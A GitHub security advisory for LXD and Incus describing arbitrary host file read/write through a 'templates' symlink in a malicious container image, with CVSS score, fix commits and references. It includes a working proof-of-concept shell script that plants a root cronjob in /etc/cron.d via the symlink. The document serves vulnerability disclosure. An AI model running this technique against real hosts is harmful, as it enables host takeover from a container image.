GHSA-jpf8-86f3-wp38 json
LXD has arbitrary file read+write on host via templates/ symlink in malicious image
published 2026-11-06 2 d ago modified 2026-11-06 2 d ago
- cvss
- 9.9
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
### Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
### Details
For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
### PoC
Below, we map the templates directory to `/etc/cron.d` on the host, but it can be mapped anywhere. We then create a cronjob to run `id` as root.
``` #!/bin/sh set -eu
tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__
cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read #incus config template show afrw-image-templates-symlink $FILENAME
# write printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32 #incus config template edit afrw-image-templates-symlink poc ```
### Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
Patch / fix
- go github.com/canonical/lxd 0.0.0-20260203144152-d1c8ba15d160
- github.com/canonical/lxd@190e245 commit
- github.com/canonical/lxd@254b85c commit
- github.com/canonical/lxd@4cd6334 commit
- github.com/canonical/lxd@734fcc4 commit
- github.com/canonical/lxd@79f3879 commit
- github.com/canonical/lxd@8751ea6 commit
- github.com/canonical/lxd@8a3b8d7 commit
- github.com/canonical/lxd@be6df3b commit
- github.com/lxc/incus@cbefa31 commit
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| go | github.com/canonical/lxd | <0.0.0-20260203144152-d1c8ba15d160 |
0.0.0-20260203144152-d1c8ba15d160 |
Classification
- Weakness
-
- CWE-73 External Control of File Name or Path
References
-
github.com
/canonical/lxd/commit/190e2451544a60f6f924ef50a2112fb65d1923cd
web
-
github.com
/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
web
-
github.com
/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
web
-
github.com
/canonical/lxd/commit/734fcc4d2c8fd0332d42010e34fe856077c2f7f3
web
-
github.com
/canonical/lxd/commit/79f3879047b94344e17750551fddc74ed7f14ff7
web
-
github.com
/canonical/lxd/commit/8751ea69e24583996a20fb5519dcf2d89470d8e9
web
-
github.com
/canonical/lxd/commit/8a3b8d77a0279c3a9da15f4c4aa639ef0631d805
web
-
github.com
/canonical/lxd/commit/be6df3b49e79344ec461daadd82d80139697dc1a
web
-
github.com
/lxc/incus/commit/cbefa31ae0da8fd96361178aed3a3c631e098fef
web
-
github.com
/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38
web
-
github.com
/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
web
-
nvd.nist.gov
/vuln/detail/CVE-2026-48752
advisory
-
github.com
/canonical/lxd
package
Sources
- GitHub Advisory GHSA-jpf8-86f3-wp38
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